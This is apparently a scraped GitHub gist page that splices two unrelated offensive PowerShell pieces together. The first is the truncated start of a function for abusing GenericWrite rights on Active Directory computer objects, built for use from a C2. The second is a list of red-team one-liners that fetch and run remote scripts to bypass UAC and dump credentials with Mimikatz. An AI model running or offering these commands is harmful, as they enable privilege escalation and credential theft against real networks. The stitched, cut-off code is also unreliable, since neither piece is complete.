Skip to content

Instantly share code, notes, and snippets.

View drwscefn's full-sized avatar
💭
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

drwscefn

💭
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
View GitHub Profile
@drwscefn
drwscefn / GenericWriteRBCD.ps1
Created September 28, 2022 13:50 — forked from klezVirus/GenericWriteRBCD.ps1
Exploit the GenericWrite DACL on a computer object (from a user or computer account)
function Invoke-GenericWriteRBCD
{
<# Based on Gist by dirkjan - Packed to be used from a C2 #>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True, HelpMessage="The name for the newly created computer")]
[string]$Computer,
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands